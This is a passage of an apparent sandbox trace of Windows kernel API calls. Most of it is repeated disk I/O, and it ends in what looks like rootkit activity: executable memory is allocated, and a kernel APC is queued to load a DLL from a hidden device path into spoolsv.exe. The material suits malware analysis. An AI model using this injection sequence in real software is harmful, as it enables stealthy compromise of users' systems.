MemoryDescriptorList=0xfffffa80038a5010) [0096.030] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.030] IdePortDispatch () returned 0x103 [0096.030] KeWaitForMutexObject () returned 0x0 [0096.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.030] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.030] IdePortDispatch () returned 0x103 [0096.031] KeWaitForMutexObject () returned 0x0 [0096.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.031] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.031] IdePortDispatch () returned 0x103 [0096.031] KeWaitForMutexObject () returned 0x0 [0096.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.031] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.031] IdePortDispatch () returned 0x103 [0096.031] KeWaitForMutexObject () returned 0x0 [0096.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.031] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.031] IdePortDispatch () returned 0x103 [0096.031] KeWaitForMutexObject () returned 0x0 [0096.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.031] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.031] IdePortDispatch () returned 0x103 [0096.032] KeWaitForMutexObject () returned 0x0 [0096.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.032] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.032] IdePortDispatch () returned 0x103 [0096.032] KeWaitForMutexObject () returned 0x0 [0096.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.032] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.032] IdePortDispatch () returned 0x103 [0096.032] KeWaitForMutexObject () returned 0x0 [0096.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.032] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.032] IdePortDispatch () returned 0x103 [0096.033] KeWaitForMutexObject () returned 0x0 [0096.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.033] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.033] IdePortDispatch () returned 0x103 [0096.033] KeWaitForMutexObject () returned 0x0 [0096.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.033] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.033] IdePortDispatch () returned 0x103 [0096.033] KeWaitForMutexObject () returned 0x0 [0096.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.033] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.033] IdePortDispatch () returned 0x103 [0096.033] KeWaitForMutexObject () returned 0x0 [0096.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.033] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.034] IdePortDispatch () returned 0x103 [0096.034] KeWaitForMutexObject () returned 0x0 [0096.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.034] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.034] IdePortDispatch () returned 0x103 [0096.034] KeWaitForMutexObject () returned 0x0 [0096.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.034] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.034] IdePortDispatch () returned 0x103 [0096.035] KeWaitForMutexObject () returned 0x0 [0096.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.035] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.035] IdePortDispatch () returned 0x103 [0096.035] KeWaitForMutexObject () returned 0x0 [0096.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.035] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.035] IdePortDispatch () returned 0x103 [0096.035] KeWaitForMutexObject () returned 0x0 [0096.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.035] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.035] IdePortDispatch () returned 0x103 [0096.035] KeWaitForMutexObject () returned 0x0 [0096.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.035] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.035] IdePortDispatch () returned 0x103 [0096.036] KeWaitForMutexObject () returned 0x0 [0096.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.036] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.036] IdePortDispatch () returned 0x103 [0096.036] KeWaitForMutexObject () returned 0x0 [0096.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.036] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.036] IdePortDispatch () returned 0x103 [0096.036] KeWaitForMutexObject () returned 0x0 [0096.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.036] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.036] IdePortDispatch () returned 0x103 [0096.037] KeWaitForMutexObject () returned 0x0 [0096.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.037] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.037] IdePortDispatch () returned 0x103 [0096.037] KeWaitForMutexObject () returned 0x0 [0096.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.037] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.037] IdePortDispatch () returned 0x103 [0096.037] KeWaitForMutexObject () returned 0x0 [0096.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.037] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.037] IdePortDispatch () returned 0x103 [0096.037] KeWaitForMutexObject () returned 0x0 [0096.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.037] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.037] IdePortDispatch () returned 0x103 [0096.038] KeWaitForMutexObject () returned 0x0 [0096.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.038] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.038] IdePortDispatch () returned 0x103 [0096.038] KeWaitForMutexObject () returned 0x0 [0096.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.038] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.038] IdePortDispatch () returned 0x103 [0096.038] KeWaitForMutexObject () returned 0x0 [0096.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.038] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.038] IdePortDispatch () returned 0x103 [0096.038] KeWaitForMutexObject () returned 0x0 [0096.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.041] KeLeaveCriticalRegion () [0096.041] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.041] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004f0, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0096.041] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0096.041] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0096.041] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004f0, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x90000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0096.041] _snprintf (in: _Dest=0x90020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0096.041] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800230d230 [0096.041] KeInitializeApc (Apc=0xfffffa800230d230, Thread=0xfffffa80038a2b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x90128, Mode=0xfffff88000000001, Context=0x90000) [0096.041] KeInsertQueueApc (Apc=0xfffffa800230d230, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0096.041] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0096.041] ZwClose (Handle=0x14) returned 0x0 [0096.041] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0096.041] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0096.041] KeEnterCriticalRegion () [0096.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.041] IoGetRequestorProcess (Irp=0xfffffa800389fd60) returned 0xfffffa80018ab040 [0096.041] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80038a9070, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0096.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.041] KeLeaveCriticalRegion () [0096.041] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.041] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0096.041] PsGetProcessImageFileName () returned 0xfffffa80038a4d80 [0096.041] _snprintf (in: _Dest=0xfffffa80038b3ee8, _Count=0x103, _Format="%s (x64)" | out: _Dest="spoolsv.exe (x64)") returned 17 [0096.041] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0096.042] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004f8, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0096.042] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.042] KeEnterCriticalRegion () [0096.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.042] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0096.042] IdePortDispatch () returned 0x103 [0096.042] KeWaitForMutexObject () returned 0x0 [0096.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.042] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0096.042] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0096.042] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0096.042] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0096.042] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036b00e0 [0096.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.042] KeLeaveCriticalRegion () [0096.042] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.042] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0096.042] NtLockFile (in: FileHandle=0xffffffff800004f8, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0096.042] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.042] KeEnterCriticalRegion () [0096.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.042] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa800389fd60, Context=0x0) returned 0x0 [0096.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.042] KeLeaveCriticalRegion () [0096.042] ZwQueryInformationFile (in: FileHandle=0xffffffff800004f8, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0096.042] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.042] KeEnterCriticalRegion () [0096.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.042] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0096.042] IdePortDispatch () returned 0x103 [0096.043] KeWaitForMutexObject () returned 0x0 [0096.043] _strnicmp (_Str1="cfg.ini", 